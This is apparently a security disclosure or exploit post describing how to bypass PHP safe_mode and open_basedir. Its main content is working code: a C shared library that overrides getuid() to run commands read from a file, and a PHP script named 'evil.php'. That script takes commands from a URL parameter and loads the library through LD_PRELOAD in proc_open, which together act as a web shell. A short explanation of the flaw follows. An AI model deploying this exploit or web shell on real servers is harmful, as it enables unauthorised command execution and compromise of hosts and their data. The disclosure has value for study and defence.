PHP safe_mode can be bypassed via proc_open() and custom environment.
This *should* work provided that you have met the following requirements:
1) A writable directory under documentroot to place those files (obviously)
2) You don't have proc_open in your disabled_functions list
3) You are able to compile a shared library on the same platform as the target
web server.
Here is the library code, compile with cc -o a.so -fPIC -shared a.c
a.c:
----
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;
unsetenv("LD_PRELOAD");
a=fopen(".comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a);
rename("a.so","b.so");
system(buf);
system("mv output.txt .comm1");
rename("b.so","a.so");
free(buf);
return 0;
}
*cut*
And that is the PHP script:
evil.php:
-------------------------
<?php
$path="/var/www"; //change to your writable path
$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('examplecommand', $descriptorspec, $pipes, $cwd, $env); //
example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
echo "</pre>";
?>
Why does that work?
-------------------
Because the PHP devs like to trust the environment. Especially the dynamic
loader variables.
If you have safe_mode enabled, you cannot execute anything except the binaries
in the safe mode exec dir. They prepend a trailing slash to your command string
and strip "..". Yet, proc_open() enables you to provide your own environment to
pass to the new process. proc_open() executes "/bin/sh -c yourcommand" and even
though "yourcommand" is invalid, the LD_PRELOAD variable is passed to /bin/sh.
Then /bin/sh loads your "evil" library and then you can easily execute other
commands, open files, etc, etc.
The library in question overloads getuid() in a way that it takes input from a
text file, executes it and writes the output into another text file.
This also works against open_basedir restrictions since the library can be
under the documentroot.
The only tough thing from an attacker's perspective is to compile the library
on the same platform as the attacked system.
And it works on linux only..